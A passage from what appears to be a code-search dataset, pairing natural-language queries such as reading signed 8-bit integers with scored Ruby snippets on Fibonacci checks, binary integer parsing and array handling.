case_two\n\t\ttrue\n\telse\n\t\tfalse\n\tend\nend", "title": "" }, { "docid": "3c1bca559fe3434f7e1fbad3629b9999", "score": "0.7062807", "text": "def is_fibonacci?(num)\np1 = 0\np2 = 1\nnew_num = 0\nfib_arr = []\n while new_num <= num do\n fib_arr.push(new_num)\n new_num = p1 + p2\n p1 = p2\n p2 = new_num\n end\n fib_arr.include?(num)\nend", "title": "" }, { "docid": "4e598fa92994011daeb3e0e6ab392dc6", "score": "0.7047038", "text": "def is_fibonacci?\n return true if self == 1\n a, b = Math.sqrt((5*(self**2))+4), Math.sqrt((5*(self**2))-4)\n return true if (a.to_i == a and b.to_i != b) or (a.to_i != a && b.to_i == b)\n return false\n end", "title": "" }, { "docid": "4e598fa92994011daeb3e0e6ab392dc6", "score": "0.7047038", "text": "def is_fibonacci?\n return true if self == 1\n a, b = Math.sqrt((5*(self**2))+4), Math.sqrt((5*(self**2))-4)\n return true if (a.to_i == a and b.to_i != b) or (a.to_i != a && b.to_i == b)\n return false\n end", "title": "" }, { "docid": "44378fb93e8d618cef6e4e2e3771567b", "score": "0.70381236", "text": "def check_febonacci f1, f2, n\n \n f3 = f2 + f1\n\n return \"is febonacci\" if n == 0\n return \"is febonacci\" if f2 == n\n return \"is not febonacci \" if f2 > n \n\n check_febonacci f2, f3, n \n\nend", "title": "" }, { "docid": "0bfdf348b7ac2334fb041a54064a024a", "score": "0.7032528", "text": "def is_fibonacci?(num)\n arr=[]\n i=0\n while i<1000\n if i <2\n \tarr[i] = 1\n else\n \tarr[i] = arr[i-1] + arr[i-2]\n end\n i+=1\n end\n if arr.include?(num)\n \treturn true\n else false\n end\nend", "title": "" }, { "docid": "ed7cdef71dc00685e7e6de54f117c433", "score": "0.7027633", "text": "def fibonacci_checker(num)\n fibonacci_nums = [0, 1]\n until fibonacci_nums.last >= num\n fibonacci_nums << fibonacci_nums[-1] + fibonacci_nums[-2]\n end\n fibonacci_nums.include?(num) ? 'yes' : 'no'\nend", "title": "" }, { "docid": "f69422c76c85c398efd07cb4b34d599f", "score": "0.701172", "text": "def is_fibonacci?(n)\n # Everything's a Fibonacci number! Yay.\n # Run the home-made test suite to see it fail:\n # ruby is_fibonacci.rb --test\n return true\nend", "title": "" }, { "docid": "c9e30e17001833b9ebee2edeea7d7667", "score": "0.7008981", "text": "def fibonacci(max_value)\n\tsum = 0\n\tx = [1, 2]\n\twhile sum <= max_value\n\t\tlength = x.length\n\t\tsum = x[length - 1] + x[length - 2]\n\t\tx.push(sum) unless sum > max_value\n\tend\n\t\n\tx.select! { |i| i % 2 == 0 }\n\t\n\tsum_evens = 0 \n\tx.each { |i| \n\t\tsum_evens = sum_evens + i \n\t}\n\tputs sum_evens\nend", "title": "" }, { "docid": "53b6c1ee566e0ceba05870f65bc4658b", "score": "0.7002948", "text": "def is_fibonacci?(num)\r\n\tn1 = (5*num*num + 4)\r\n\tn2 = n1 - 8\r\n\tis_perfect_square?(n1) || is_perfect_square?(n2)\r\nend", "title": "" }, { "docid": "2bdb0a7b368bce34620f76ec13a09d3e", "score": "0.6996633", "text": "def fibo(a)\n target = a.abs\n if target == 0 || target==1 \n return target\n end\n first = 0\n second = 1\n i=1\n res=0\n while i != target\n i+=1\n res = first + second\n first = second\n second = res\n end\n if a<0\n return ((-1)**(target+1))*res\n end\n return res\nend", "title": "" } ]
4c66f790c881e1f50902003f2d878e7f
Read a signed 8bit (1byte) integer.
[ { "docid": "220bf437d22873c55f69cbb7390ad4da", "score": "0.80468863", "text": "def read_int8\n reader.read(1).unpack(\"c\").first\n end", "title": "" } ]
[ { "docid": "cf8cb247285d4e6bd8ec78bcad894619", "score": "0.86905056", "text": "def get_i_sint8\n data = read_and_advance(1)\n BinData::Int8.read(data) ^ (-1 << 7)\n end", "title": "" }, { "docid": "fdaafac1f39553a97f4b68db67db4b3a", "score": "0.7936542", "text": "def read_int8\n\tv = self.stream[self.stream_position,1] \n d = v.unpack('c').first\n self.stream_position += 1\n d\n end", "title": "" }, { "docid": "80e6f3b719a10533cb72a6160b80c84c", "score": "0.76659966", "text": "def int8\n read(1).unpack(\"C\").first\n end", "title": "" }, { "docid": "67e19bc40b75cff8b7ad5be647af0592", "score": "0.76436836", "text": "def read_signed_integer\n value = IO.binread(@file_path, INTEGER_LENGTH, @offset).unpack('i')[0]\n skip_integer\n value\n end", "title": "" }, { "docid": "3b35f3065e6271a88c452e2e20312215", "score": "0.76308626", "text": "def read_uint8\n read(1).unpack('C')[0]\n end", "title": "" }, { "docid": "b7a173cbf6adf61fe3780cdf8c02bebb", "score": "0.76255095", "text": "def read_uint8\n reader.read(1).unpack(\"C\").first\n end", "title": "" }, { "docid": "5ae611509cac0f0dab789af3cadf2174", "score": "0.756724", "text": "def int8\n io.read(1).unpack('c')[0]\n end", "title": "" }, { "docid": "e4ea891ec99c692f4ce89564583374ec", "score": "0.7386104", "text": "def get_i_sint32\n data = read_and_advance(4)\n BinData::Int32be.read(data) ^ (-1 << 31)\n end", "title": "" }, { "docid": "2e25e7cb3fa15b0d2cefab8e9b5c7f26", "score": "0.7379664", "text": "def read_signed_byte\n value = IO.binread(@file_path, BYTE_LENGTH, @offset).unpack('c')[0]\n skip_byte\n value\n end", "title": "" }, { "docid": "274c39d65d49ccc91cbe2426fd8274fe", "score": "0.7375752", "text": "def read_int(address, signed, bit_size)\n byte_size = bit_size / 8\n mem = read_raw_bytes(address, byte_size)\n mem.unpack(get_integer_unpack(signed, byte_size))[0]\n end", "title": "" }, { "docid": "752c28754a476bd821fe58e7256af6bf", "score": "0.73689646", "text": "def read_u8\n read_byte.unpack('c').first\n end", "title": "" }, { "docid": "93f5cf8bb6df094fc177fb17da5ff03b", "score": "0.72885454", "text": "def read_int(sign=true)\n read_int_signed(sign)\n end", "title": "" }, { "docid": "fbc8648653b3ab918fbce876249e3b48", "score": "0.7260768", "text": "def read_int32_be\n reader.read(4).unpack('l>').first\n end", "title": "" }, { "docid": "6b284263f98fc7e7e9a952841b091de7", "score": "0.72250843", "text": "def read_sint32\n un_zig_zag(read_varint)\n end", "title": "" }, { "docid": "ea3245d0dfb5f183ec9c2c4d09d07d36", "score": "0.7217214", "text": "def read_int(signed=true)\n primitive_read_int(signed)\n end", "title": "" }, { "docid": "b10f1d130ed199b75db0ac14433b15d0", "score": "0.7200792", "text": "def read_varint\n value, shift = 0, 0\n while (byte = read(1).ord) do\n value |= (byte & 0x7F) << shift\n shift += 7\n return value if (byte & 0x80) == 0\n end\n end", "title": "" }, { "docid": "3bda3f272ff254259bd40ac6704e43c9", "score": "0.719834", "text": "def readI8; io.read(SIZE_8).unpack('c'); end", "title": "" }, { "docid": "352d14c1a423de8e3c816ee504e84064", "score": "0.7192863", "text": "def uint8\n io.read(1).unpack('C')[0]\n end", "title": "" }, { "docid": "9131fa108d1ab73e5c00bb2c159eecb5", "score": "0.7190926", "text": "def get_i_sint24\n data = read_and_advance(3)\n BinData::Int24be.read(data) ^ (-1 << 23)\n end", "title": "" }, { "docid": "33b1b9115e18ec1cd2c006c579197b88", "score": "0.7044306", "text": "def read_int\r\n (read_ubyte << 24) + (read_ubyte << 16) + (read_ubyte << 8) + read_ubyte\r\n end", "title": "" }, { "docid": "89d738744f7f4eee1d46e4232cd37f0e", "score": "0.7030998", "text": "def readU8; io.getbyte; end", "title": "" }, { "docid": "5ffff10c2e69a29fbe42bf22f5f86088", "score": "0.6952398", "text": "def read_sint64\n un_zig_zag(read_varint)\n end", "title": "" }, { "docid": "0fadff130391349cb1ba0643ee8a49d7", "score": "0.69430745", "text": "def read_int24_be\n a, b, c = reader.read(3).unpack('CCC')\n if (a & 128) == 0\n (a << 16) | (b << 8) | c\n else\n (-1 << 24) | (a << 16) | (b << 8) | c\n end\n end", "title": "" }, { "docid": "3ef89e036e56cacd7515f0f457c70843", "score": "0.69372046", "text": "def get_i_sint16\n data = read_and_advance(2)\n BinData::Int16be.read(data) ^ (-1 << 15)\n end", "title": "" }, { "docid": "a579700ce0cd0df4b88c54ec4338c8f3", "score": "0.6917296", "text": "def get_uint8(offset=nil)\n seek(offset)\n data = read_and_advance(1)\n BinData::Uint8.read(data)\n end", "title": "" }, { "docid": "9051d29887c5ae5ad0e775c94684dd55", "score": "0.6915991", "text": "def read_int_signed(sign)\n Rubinius.primitive :pointer_read_int\n raise PrimitiveFailure, \"Unable to read integer\"\n end", "title": "" }, { "docid": "794e764bdec15500d87413b59562f193", "score": "0.691406", "text": "def read_int16_be\n reader.read(2).unpack('s>').first\n end", "title": "" }, { "docid": "f6b4fb703831f2ee838452d6523807d8", "score": "0.68901706", "text": "def read_int32(signed=true)\n primitive_read_int(signed)\n end", "title": "" }, { "docid": "39fbbe845a18fa4876eda4eaa9de7eae", "score": "0.68780774", "text": "def read_signed_short_integer\n value = IO.binread(@file_path, SHORT_INTEGER_LENGTH, @offset).unpack('s_')[0]\n skip_short_integer\n value\n end", "title": "" }, { "docid": "0787164d2877ef6ab46b895464c73103", "score": "0.6873007", "text": "def readbit\n if @nbits == 0 then\n @bitbuf = @input.readbyte\n @nbits = 8\n end\n\n @nbits -= 1\n return (@bitbuf >> @nbits) & 1\n end", "title": "" }, { "docid": "59e8e889ab7a528c1963bff151e8afbd", "score": "0.6859009", "text": "def get_i_sint64\n data = read_and_advance(8)\n BinData::Int64be.read(data) ^ (-1 << 63)\n end", "title": "" }, { "docid": "02acce86b861590b52d9d74a1589a206", "score": "0.6806877", "text": "def read_uint32_be\n reader.read(4).unpack(\"N\").first\n end", "title": "" }, { "docid": "18a99b6d928b5081930d7c04bb5e0eb0", "score": "0.6784765", "text": "def read_integer\n value = IO.binread(@file_path, INTEGER_LENGTH, @offset).unpack('I')[0]\n skip_integer\n value\n end", "title": "" }, { "docid": "67e26e19682e73c0e3a3716ea7618bf7", "score": "0.6770818", "text": "def read_int(io)\n io.read(4).unpack('l').shift\n end", "title": "" }, { "docid": "376f910c7bb23d89382aaba47d10c819", "score": "0.6763302", "text": "def read_integer(bits); end", "title": "" }, { "docid": "a5e2d3edf60f4bb14e64d687148b94fa", "score": "0.6751456", "text": "def read_int\n @io.read(4).unpack('L').first\n rescue => e\n raise IOError, e.message\n end", "title": "" }, { "docid": "a34c7aea6843ef1f95cb50f14b4f9894", "score": "0.67291987", "text": "def read_uint32\n read_varint\n end", "title": "" }, { "docid": "1f92deeb644588e871a216de6c47fc60", "score": "0.6722433", "text": "def read_uint32_be\n read_safe(4).unpack('N')[0]\n end", "title": "" }, { "docid": "f1f9025736102a481ae6208e34c7a23f", "score": "0.66781807", "text": "def read(input)\n result = 0\n if endian == :little\n shift = 0\n begin\n byte = ord input.read(1)\n result |= (byte & 0x7f) << shift\n shift += 7\n end while (byte & 0x80) > 0\n else\n begin\n byte = ord input.read(1)\n result = (result << 7) | (byte & 0x7f)\n end while (byte & 0x80) > 0\n end\n result\n end", "title": "" }, { "docid": "d819d55cb18c5c5aba710fb0528acc86", "score": "0.66339165", "text": "def readInt\n @bytes.read(4).unpack(\"L\")[0]\n end", "title": "" }, { "docid": "e55fe4e154c88f6d4591c17876670b81", "score": "0.6588445", "text": "def read_int\n get_int32(0)\n end", "title": "" }, { "docid": "a3d916e9786b63605929e058775e6d33", "score": "0.65858984", "text": "def u8\n return nil if @bytes_read > @buf.size - 1\n x = @buf[@bytes_read]\n @bytes_read += 1\n x\n end", "title": "" }, { "docid": "92a9094b67f3717e40c5b2d1c2f75d30", "score": "0.6563514", "text": "def read_uint32_le\n read_safe(4).unpack('V')[0]\n end", "title": "" }, { "docid": "ad45b617a806d3ed258c42d3ecf716b5", "score": "0.6553419", "text": "def small_integer_ext\n read(1)\n end", "title": "" }, { "docid": "f3b836fc7810744709300da8786e5989", "score": "0.65255207", "text": "def readI32; io.read(SIZE_32).unpack('l'); end", "title": "" }, { "docid": "30a6cf2ba650012ee5380b5f9115ca77", "score": "0.651055", "text": "def signed_long\n read(4).unpack('l')[0]\n end", "title": "" }, { "docid": "08745a04a405d1cbe6b41b83a81ddf09", "score": "0.650665", "text": "def read_short_integer\n value = IO.binread(@file_path, SHORT_INTEGER_LENGTH, @offset).unpack('S_')[0]\n skip_short_integer\n value\n end", "title": "" }, { "docid": "07df87b83931c9e5dbe160ef9c558474", "score": "0.6506099", "text": "def int32\n io.read(4).unpack('l>')[0]\n end", "title": "" }, { "docid": "72fa703f1d5515a839ed644e68c86316", "score": "0.6470153", "text": "def read_int32\n read_int64\n end", "title": "" }, { "docid": "5e3d1e1e329faef6c1ac15e81d490a3f", "score": "0.6460576", "text": "def read_integer(bits)\n\t\t\t\tlimit = 2**bits - 1\n\t\t\t\tvalue = bits.zero? ? 0 : (read_byte & limit)\n\t\t\t\t\n\t\t\t\tshift = 0\n\t\t\t\t\n\t\t\t\twhile byte = read_byte\n\t\t\t\t\tvalue += ((byte & 127) << shift)\n\t\t\t\t\tshift += 7\n\t\t\t\t\t\n\t\t\t\t\tbreak if (byte & 128).zero?\n\t\t\t\tend if (value == limit)\n\t\t\t\t\n\t\t\t\treturn value\n\t\t\tend", "title": "" }, { "docid": "a126d2dc85e723a575d942c69538524e", "score": "0.6454335", "text": "def read_int32(len = 1)\n @file.read(len * 4).unpack int32(len)\n end", "title": "" }, { "docid": "1347c593b507794679e9bc45eff8cf22", "score": "0.6446804", "text": "def int64\n read(8).unpack(\"q>\").first\n end", "title": "" }, { "docid": "4273e7b671b93796d8d6f3297a597b0c", "score": "0.64466256", "text": "def read_uint24_be\n (\"\\x00\" + read_safe(3)).unpack('N')[0]\n end", "title": "" }, { "docid": "d4179d96ae73a85c302dccac0f18336b", "score": "0.6439157", "text": "def read_varint\n first_byte = read_uint8\n\n case\n when first_byte <= 250\n first_byte\n when first_byte == 251\n nil\n when first_byte == 252\n read_uint16\n when first_byte == 253\n read_uint24\n when first_byte == 254\n read_uint64\n when first_byte == 255\n raise \"Invalid variable-length integer\"\n end\n end", "title": "" }, { "docid": "69047fd13924ac402f0b28ce0722463b", "score": "0.64375156", "text": "def to_i_from_bytes(big_endian=false)\n bs = big_endian ? bytes.reverse_each : bytes.each\n bs.with_index.inject(0) { |sum,(b,i)| (b << (8*i)) + sum }\n end", "title": "" }, { "docid": "a5230d2fda8ccae8eac2ae0c2ec86e85", "score": "0.64372325", "text": "def two_byte_le_unsigned_to_i(s) \n\t\treturn s.to_byte_string.unpack(\"<S\")[0] \n\tend", "title": "" }, { "docid": "f264406b6373797f5ea3a26d29eba669", "score": "0.6430311", "text": "def read_uint16_be\n reader.read(2).unpack(\"n\").first\n end", "title": "" }, { "docid": "3b2c6381af4a3aebbce1592b8a4c1e50", "score": "0.64152026", "text": "def read_leshort\r\n i = read_ubyte | (read_ubyte << 8)\r\n \r\n\t\t if i > 32767\r\n\t\t\t i -= 0x10000\r\n end\r\n\t\t\t\r\n\t\t i.short\r\n end", "title": "" }, { "docid": "25a3454aee31f7b9c0dc7e376cfc552c", "score": "0.6412767", "text": "def read_int64\n value = read_varint\n value -= (1 << 64) if value > Integer::MAX_SIGNED_64BIT\n value\n end", "title": "" }, { "docid": "fee9f03503f034cd38d9fcd0e9a1dc43", "score": "0.640904", "text": "def readUnsignedByte_4(offset, filestream)\n byteArray = \"\"\n filestream.seek(offset, IO::SEEK_SET)\n byteArray = filestream.read(4, byteArray)\n #// most significant byte first\n #// |byte0|byte1|byte2|byte3| <= |unsigned int|\n return (byteArray.getbyte(0)<<24) | (byteArray.getbyte(1)<<16) | (byteArray.getbyte(2)<<8) | byteArray.getbyte(3)\n end", "title": "" }, { "docid": "aac123cc655943d92552f0d9cbc586fa", "score": "0.6408588", "text": "def scan_uint8\n scan(1).unpack(\"C\").first\n end", "title": "" }, { "docid": "79968d74f2bcd9a23e3e51a5b55f93b9", "score": "0.64066315", "text": "def get_sint16(offset=nil)\n seek(offset)\n data = read_and_advance(2)\n BinData::Int16be.read(data)\n end", "title": "" }, { "docid": "b3a2e0243f8e26fa4bfe91b2510c99cc", "score": "0.6404653", "text": "def read_int16(signed=true)\n primitive_read_short(signed)\n end", "title": "" }, { "docid": "686a99066e2c63027be395279afec75a", "score": "0.64029336", "text": "def read_uint32\n read(4).unpack(UINT32).first\n end", "title": "" }, { "docid": "686a99066e2c63027be395279afec75a", "score": "0.64029336", "text": "def read_uint32\n read(4).unpack(UINT32).first\n end", "title": "" }, { "docid": "1825c82bf744176d8bb245517715f7ad", "score": "0.6397381", "text": "def read_byte_a\r\n (read_byte - 128).byte\r\n end", "title": "" }, { "docid": "3739a0824cba5defb324a38ee605b964", "score": "0.6396344", "text": "def read_uint64_be\n reader.read(8).unpack(\"Q>\").first\n end", "title": "" }, { "docid": "61673a4cef9ae81d3bb93008c08747cf", "score": "0.63923365", "text": "def read_int29\n count = 1\n result = 0\n byte = read_uint8\n\n while (byte & 0x80 != 0) && count < 4 do\n result <<= 7\n result |= (byte & 0x7f)\n byte = read_uint8\n count += 1\n end\n\n if count < 4\n result <<= 7\n result |= byte\n else\n result <<= 8\n result |= byte\n end\n\n result\n end", "title": "" }, { "docid": "80f40bb24c80a1bc48085072907df1ee", "score": "0.63683164", "text": "def read_uint16_be\n read_safe(2).unpack('n')[0]\n end", "title": "" }, { "docid": "eb841eca51308f327bdf40d6be18bcdd", "score": "0.636668", "text": "def read_uint24_be\n a, b = reader.read(3).unpack(\"nC\")\n (a << 8) + b\n end", "title": "" }, { "docid": "661cb2b19012f7e08e010d4e53516c0b", "score": "0.6345035", "text": "def read_byte_s\r\n (128 - read_byte).byte\r\n end", "title": "" }, { "docid": "3bb5725cecd7ae54603c48d66dce78d3", "score": "0.6341096", "text": "def readUnsignedByte_2(offset, filestream)\n #// most significant byte first\n #// |byte0|byte1| <= |unsigned int|\n byteArray = \"\"\n filestream.seek(offset, IO::SEEK_SET)\n byteArray = filestream.read(2, byteArray)\n return (byteArray.getbyte(0) << 8) | byteArray.getbyte(1)\n end", "title": "" }, { "docid": "0da783c9daec642c1faf936ca5d05e55", "score": "0.6321285", "text": "def read_int(int_offset)\n j = int_offset*INT_BYTES_\n\n # We must treat the most significant byte as a signed byte\n high_byte = @content[j].ord\n if high_byte > 127\n high_byte = high_byte - 256\n end\n (high_byte << 24) | (@content[j+1].ord << 16) | (@content[j+2].ord << 8) | @content[j+3].ord\n end", "title": "" }, { "docid": "44d087fd14dafd007df243c7eac61bb1", "score": "0.6314638", "text": "def read_uint32\n reader.read(4).unpack(\"V\").first\n end", "title": "" }, { "docid": "d49180f553d22560042fefce2fec56b6", "score": "0.6311073", "text": "def read_ubyte\r\n read_byte.ubyte\r\n end", "title": "" }, { "docid": "425f8957620c0de0b99f0ce226b93f75", "score": "0.6281727", "text": "def read_leshort_a\r\n i = (read_byte - 128).ubyte | (read_ubyte << 8)\r\n \r\n\t\t if i > 32767\r\n\t\t\t i -= 0x10000\r\n end\r\n\t\t\t\r\n\t\t i.short\r\n end", "title": "" }, { "docid": "0923c502e8e6b581e33d8dbd3a3eff79", "score": "0.62706804", "text": "def int16\n io.read(2).unpack('s>')[0]\n end", "title": "" }, { "docid": "79cd18f597eb3a5bb2f0774f6a12a74a", "score": "0.6249553", "text": "def read_uint48\n a, b, c = reader.read(6).unpack(\"vvv\")\n a + (b << 16) + (c << 32)\n end", "title": "" }, { "docid": "6714be6827ab25c8f0b16d34c2200199", "score": "0.62389696", "text": "def read_int16(len = 1)\n @file.read(len * 2).unpack int16(len)\n end", "title": "" }, { "docid": "bc613a18a7721b5ea77387a8d8bef835", "score": "0.6213208", "text": "def read_uint64\n read_varint\n end", "title": "" }, { "docid": "8cd7b029fbe47bda137941ecebc35daa", "score": "0.6206516", "text": "def getbyte\n read(1).ord\n end", "title": "" }, { "docid": "8cd7b029fbe47bda137941ecebc35daa", "score": "0.6206516", "text": "def getbyte\n read(1).ord\n end", "title": "" }, { "docid": "d978ea583b17b8061a2e0fab409bf072", "score": "0.62031174", "text": "def read_byte\n b = read(1) or return nil\n b.getbyte(0)\n end", "title": "" }, { "docid": "08afad3e492fc80f69f193d129859582", "score": "0.6190195", "text": "def int32\n read(4).unpack(\"l>\").first\n end", "title": "" }, { "docid": "ada39b11597c098c4b7e0078471c1662", "score": "0.61847186", "text": "def uint32; BinData::Uint32le.read(scan(4)); end", "title": "" }, { "docid": "80fe116697c0f9ad63e353f69b036713", "score": "0.6184709", "text": "def read_uint64\n reader.read(8).unpack(\"Q<\").first\n end", "title": "" }, { "docid": "46bf38d49c8eda14746f4a9de7791a06", "score": "0.61795384", "text": "def read_u32\n read_bytes(4).unpack('N').first\n end", "title": "" }, { "docid": "398bb30bcee3b3de5b73f2ee61a2bc9c", "score": "0.6178379", "text": "def read_long\n read_num 8\n end", "title": "" }, { "docid": "39c1ccaac607e63fe3079f95cd89f457", "score": "0.6168612", "text": "def read_uint40_be\n a, b = reader.read(5).unpack(\"NC\")\n (a << 8) + b\n end", "title": "" }, { "docid": "51936b74d8e8aeb4adbbd312deb5707d", "score": "0.6168261", "text": "def read_byte\r\n val = @buffer.unpack(\"c\").first\r\n @buffer.slice!(0...1)\r\n val\r\n end", "title": "" }, { "docid": "c24913f31280dd9f57f7d99c2a1fcf5d", "score": "0.6167807", "text": "def read_bits_int(n)\n read_bits_int_be(n)\n end", "title": "" }, { "docid": "34455b4a670967234a5d89caccb725f8", "score": "0.61568785", "text": "def int16\n read(2).unpack(\"s>\").first\n end", "title": "" }, { "docid": "d48a2c7f334bbe17b8f72a0d91564b91", "score": "0.6143971", "text": "def read_s8(addr)\n @rom.seek(snes2file(addr))\n @rom.read(1).unpack('c').first\n end", "title": "" }, { "docid": "c790a69117624cfa500589779c270f0d", "score": "0.61404586", "text": "def read_short_a\r\n i = (read_ubyte << 8) | (read_byte - 128).ubyte\r\n\r\n\t\t if i > 32767\r\n\t\t\t i -= 0x10000\r\n end\r\n\t\t\t\r\n\t\t i.short\r\n end", "title": "" }, { "docid": "ff77a40ee7e2621f82d4d8072dfce1c3", "score": "0.6123363", "text": "def read_u8(addr)\n @rom.seek(snes2file(addr))\n @rom.readbyte\n end", "title": "" }, { "docid": "f352bb13e30bf65e044f412a885bdad3", "score": "0.61218506", "text": "def read_byte_c\r\n (-read_byte).byte\r\n end", "title": "" }, { "docid": "059b89c9df3cb795a05e1f446f167ea0", "score": "0.6118232", "text": "def read_int24\n read_num 3\n end", "title": "" }, { "docid": "f5897aca3ae63b00dce0542c7043bb31", "score": "0.6117362", "text": "def read32\n\tval = (getc() << 24) + (getc() << 16) + (getc() << 8) +\n getc()\n\tval = -(val & 0x7fffffff) if (val & 0x80000000).nonzero?\n\treturn val\n end", "title": "" }, { "docid": "ba9ee6273925da70ef54c650d3944cde", "score": "0.6113705", "text": "def read_int(array)\n # first index where the MSB = index-7 bit is 0\n zero_msb_index = array.index { |e| e.to_i[7] == 0 }\n\n int_bytes = array.shift(zero_msb_index + 1)\n\n VCDIFFInt.read(int_bytes.pack(\"C*\")).to_i\n end", "title": "" }, { "docid": "2cd7de4f237ac592fb9bc5239241b095", "score": "0.6100249", "text": "def read_int1\r\n\r\n end", "title": "" } ]
64e4b4bf23394fba268a612b94dfa2d4
when building objects that contain arrays, the second object seems to inherit data from the first
[ { "docid": "5a2aea7884ddad87b24f5a04bc1fb3d1", "score": "0.0", "text": "def test_one_to_many_without_container_sequence\n contrib = WriteableContributor.new\n contrib.name = \"David Thomas\"\n\n book_one = WriteableBookWithContributors.new\n book_one.isbn = \"9781843549161\"\n book_one.title = \"Anathem\"\n book_one.description = \"A new title from Neal Stephenson\"\n book_one.contributors = [contrib]\n\n # this book should be completely empty\n book_two = WriteableBookWithContributors.new\n\n assert_nil book_two.isbn\n assert_nil book_two.title\n assert_nil book_two.description\n assert_equal [], book_two.contributors\n end", "title": "" } ]
[ { "docid": "b0e1639c975652d45cf629ffd9582a54", "score": "0.661247", "text": "def creation_arrays\n\t\t\n\tend", "title": "" }, { "docid": "798ebc397a0dca18f2d0c839ad7d05e6", "score": "0.6434732", "text": "def __array__\n [ self ]\n end", "title": "" }, { "docid": "41c7172e140fb43c2c5a587107fe6124", "score": "0.64022666", "text": "def new_array; end", "title": "" }, { "docid": "55a901162b2653dcf2b3047d1e75ab08", "score": "0.6380044", "text": "def initialize arr = []\n super arr\n end", "title": "" }, { "docid": "55a901162b2653dcf2b3047d1e75ab08", "score": "0.6380044", "text": "def initialize arr = []\n super arr\n end", "title": "" }, { "docid": "e57e0f681c7f0b1e46ec99a3ed4708c4", "score": "0.63241416", "text": "def old_array; end", "title": "" }, { "docid": "be6b25ff3d1852646e4623b9053cc6a1", "score": "0.62081444", "text": "def array_data\r\n self\r\n end", "title": "" }, { "docid": "00b7be954631423e18c7469a31fdfed8", "score": "0.6196636", "text": "def _arrayify\n [ self ]\n end", "title": "" }, { "docid": "b58e52683ef393f12098eced8cadc0c7", "score": "0.6170122", "text": "def arrays; @arrays; end", "title": "" }, { "docid": "5a921b7bdd43c4707d68fc39b63b8ef1", "score": "0.6058735", "text": "def converted_arrays; end", "title": "" }, { "docid": "5522a90ba7654302266fde9cefb8ae5d", "score": "0.601829", "text": "def initialize(*objs)\n if (objs.length == 1) and (objs.first.kind_of? Array)\n self.merge! objs.first\n else\n self.merge! objs\n end\n end", "title": "" }, { "docid": "39693513d1b83c2c42928054ec95c271", "score": "0.5995748", "text": "def register_soa_arrays(environment_builder)\n # arrays: class x inst var name -> Array\n arrays = Hash.new\n arrays.default_proc = proc do |hash, cls|\n inner_hash = Hash.new\n inner_hash.default_proc = proc do |inner, inst_var|\n inner[inst_var] = Array.new(@top_object_id[cls] + 1)\n end\n hash[cls] = inner_hash\n end\n\n @objects.each do |cls, objs|\n cls.to_ikra_type.accessed_inst_vars.each do |inst_var|\n objs.each do |obj, id|\n inst_var_value = obj.instance_variable_get(inst_var)\n\n if inst_var_value.class.to_ikra_type.is_primitive?\n # Use object value directly\n arrays[cls][inst_var][id] = inst_var_value\n else\n if !inst_var_value.class.include?(Entity)\n Log.warn(\"Attempting to transfer an object of class #{inst_var_value.class} that is not an Ikra::Entity. Could be a false positive. Skipping.\")\n else\n # Use object ID\n arrays[cls][inst_var][id] = @objects[inst_var_value.class][inst_var_value]\n end\n end\n end\n end\n end\n \n arrays.each do |cls, inner_hash|\n inner_hash.each do |inst_var, array|\n environment_builder.add_soa_array(cls.to_ikra_type.inst_var_array_name(inst_var), array)\n end\n end\n end", "title": "" }, { "docid": "b221dd696fc5ab256f94106f7cf459e3", "score": "0.5984959", "text": "def dup\r\n other = self.shallow_dup\r\n other.array_specs = @array_specs.dup\r\n other.array_data = @array_data.dup\r\n other\r\n end", "title": "" }, { "docid": "5f6c04fccfd55f3f497c7cb84611f274", "score": "0.5975043", "text": "def instantiate_new_array\n []\nend", "title": "" }, { "docid": "5f6c04fccfd55f3f497c7cb84611f274", "score": "0.5975043", "text": "def instantiate_new_array\n []\nend", "title": "" }, { "docid": "113f442b09c50906a66529c46e4250cc", "score": "0.59467", "text": "def build_array()\n @elements.dup\n end", "title": "" }, { "docid": "e8b531fbe8e573c6be6e01dd88f1d908", "score": "0.5919591", "text": "def initialize(array); end", "title": "" }, { "docid": "c875ac6509d4fc29340c115b53b33bb2", "score": "0.59188026", "text": "def array; end", "title": "" }, { "docid": "c875ac6509d4fc29340c115b53b33bb2", "score": "0.59188026", "text": "def array; end", "title": "" }, { "docid": "c875ac6509d4fc29340c115b53b33bb2", "score": "0.59188026", "text": "def array; end", "title": "" }, { "docid": "c875ac6509d4fc29340c115b53b33bb2", "score": "0.59188026", "text": "def array; end", "title": "" }, { "docid": "185db9ceec299c7c1d34a1805ed583b3", "score": "0.5903418", "text": "def initialize_copy(_other)\n @array = @array.dup\n end", "title": "" }, { "docid": "80d569ee173c6aceabe25cf633c2fb49", "score": "0.5891979", "text": "def &(other)\n other = Type.coerce_to(other, Array, :to_ary)\n my_siz = self.size\n other_siz = other.size\n dflt = Object.new\n htsiz = (my_siz + other_siz).__divide(4)\n htsiz = 5 if htsiz < 5 \n dict = Hash.__new(htsiz)\n n = 0\n while n < other_siz\n elem = other[n]\n dict[ elem ] = elem\n n += 1\n end\n res = self.class.new( my_siz < other_siz ? my_siz : other_siz )\n n = 0\n res_idx = 0\n while n < my_siz\n elem = self.__at(n)\n if dict.__delete_ifpresent(elem) \n res[res_idx] = elem\n res_idx += 1\n end\n n += 1\n end\n res.size=(res_idx)\n res\n end", "title": "" }, { "docid": "363bdfe2c2530a646b2482207a3c79fa", "score": "0.58832985", "text": "def dup\r\n other = super\r\n other.instance_variable_set :@field_class, Class.new(ArrayClass)\r\n @field_class.fields.each {|field| other.add_field(field.dup)}\r\n other\r\n end", "title": "" }, { "docid": "34d17ada0183681b29d7b5f0ae535ef3", "score": "0.58765244", "text": "def initialize_without_internal_array( configuration_instance = nil )\n\n initialize_unique_objects\n \n super\n\n end", "title": "" }, { "docid": "981af1a382f671eeebbc6690ba92b2cd", "score": "0.58683246", "text": "def array_member\n super\n end", "title": "" }, { "docid": "4b34cad12105f62d453a5c9e957ddd5d", "score": "0.58619225", "text": "def class_inheritable_array(*syms)\n class_inheritable_reader(*syms)\n class_inheritable_array_writer(*syms)\n end", "title": "" }, { "docid": "2e0d78637e356520766d2f8d917cfb4c", "score": "0.5840171", "text": "def +(other)\n self.class.new(@array + other.underlying)\n end", "title": "" }, { "docid": "2bff0c4c653791baf3446bc02a5c6987", "score": "0.5818227", "text": "def _arrayify\n Array(self)\n end", "title": "" }, { "docid": "f1501c2f7ecbcebe395e47eeb5f21b6e", "score": "0.5793826", "text": "def test_Array_ClassMethods_UseNewToCreatArray\n\t\tassert [], Array.new\n\t\tassert [nil, nil], Array.new(2)\n\t\tassert [\"A\", \"A\", \"A\", \"A\", \"A\"], Array.new(5, \"A\")\n\n\t\ta = Array.new(2, 